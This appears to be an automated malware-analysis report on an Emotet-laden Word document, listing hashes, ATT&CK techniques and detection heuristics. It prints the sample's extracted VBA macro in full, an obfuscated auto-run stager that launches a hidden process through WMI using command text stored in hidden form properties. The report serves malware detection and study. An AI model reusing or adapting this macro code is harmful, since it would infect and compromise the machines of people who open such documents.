Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 002e4e23a241c1fa…

MALICIOUS

Office (OLE)

231.7 KB Created: 2020-08-13 13:03:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: e62728b1c53d89654cb5dd7a7c52189c SHA-1: 0636c2a78952a67ff56093de0f0e425e658c22c8 SHA-256: 002e4e23a241c1fa930bf374dd4e1c871a0f19a6abb1fe7e34e0a7dd479a0744
230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the presence of a hidden command stager within a VBA UserForm. This, combined with the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic and the ClamAV detection 'Doc.Malware.Emotet-9315662-0', strongly suggests Emotet activity. The VBA script's auto-execution via Document_open and its use of CreateObject are typical for downloading and executing further malicious content.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9315662-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9315662-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    UCGGKlgwlqqfz = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set IJLHWudrjfmhtsgb = CreateObject(LUAKWqoqlwckkfumv)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4315 bytes
SHA-256: bda51f1e2f147a5f42f74eb9e9ee0c221ba53af769f29d99c979a0f3db658989
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MFYTUzqqusewyvmoti"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ZAYOSmrlldrncoshgo.YIVGPwuaeznbwzxpuy
End Sub


Attribute VB_Name = "ZAYOSmrlldrncoshgo"
Attribute VB_Base = "0{C2AB5145-DDB9-4C16-BEBC-35437CD9FC10}{3CDF9F44-7DB8-4322-841A-9EBFA6AF6F1B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function YIVGPwuaeznbwzxpuy()
ECKMYqvmgoghcreewm = ZAYOSmrlldrncoshgo.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
RELHVwuacsunoes = ChrW(ECKMYqvmgoghcreewm + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
BJVEMswrlybhyzsuyh = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + RELHVwuacsunoes + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + ZAYOSmrlldrncoshgo.QDQHHcqomtlhi + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
LUAKWqoqlwckkfumv = KZDZZenybgnoq(BJVEMswrlybhyzsuyh)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set IJLHWudrjfmhtsgb = CreateObject(LUAKWqoqlwckkfumv)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
HHSPKuegztreale = ZAYOSmrlldrncoshgo.XLSMDxgktgyzxxvspcb.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
KRZDAefpuywrpwdubqo = OTGKOhlnomjbwlw + (LUAKWqoqlwckkfumv + RELHVwuacsunoes + ZAYOSmrlldrncoshgo.FZZAGywuhfrhr.ControlTipText + HHSPKuegztreale)
Dim gs2ËgnTcKiQ As String
HPACKcvvudfw = KRZDAefpuywrpwdubqo + ZAYOSmrlldrncoshgo.QDQHHcqomtlhi
Dim N0ÚPb8Ì As Double
Set FIBWOiktnczzufaj = EQZHCxsknwdiyxesq(HPACKcvvudfw)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
JNRZLedybgatysnl = Array(OEJIJzofzihted + "UOSOJryjqijihspw YVIGNfaoctmwvewdlzk YBPPVtzzqhmkmivjuig", IJLHWudrjfmhtsgb. _
Create(BQGADrghrjoulqm, RAGXMnuemevtew, FIBWOiktnczzufaj), WGTKTfbxvhbk + "INICSbiyvrciyvm LTFPHzdbxmdqclq")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function EQZHCxsknwdiyxesq(SJHYUorlstmgs)
Set EQZHCxsknwdiyxesq = CreateObject(SJHYUorlstmgs)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
EQZHCxsknwdiyxesq. _
showwindow = CIVZWtbdocborcv + OMJNVufjkhefyrw
Dim a4Õg As Object
End Function
Function KZDZZenybgnoq(QFMMWynyhknslzt)
CUZDIinqglnmwvj = QFMMWynyhknslzt
Dim nGcyUDpZ As Byte
UCGGKlgwlqqfz = Split _
(CUZDIinqglnmwvj, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
GDPCPwhehuzvfzutlli = AQFQZmpsscbfxok + Join(UCGGKlgwlqqfz, RTBQBdpidlppowewgr)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
KZDZZenybgnoq = GDPCPwhehuzvfzutlli
Dim kFPSyh As Object
End Function
Function BQGADrghrjoulqm()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
CRIHSbhbozlgb = ZAYOSmrlldrncoshgo.SPZNBfyjoqpgdthzeag.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
BQGADrghrjoulqm = KZDZZenybgnoq(CRIHSbhbozlgb)
Dim B0ÃjUg As Integer
B0ÃjUg = 9
Do While B0ÃjUg < 9 + 1
B0ÃjUg = B0ÃjUg + 1: DoEvents
Loop
End Function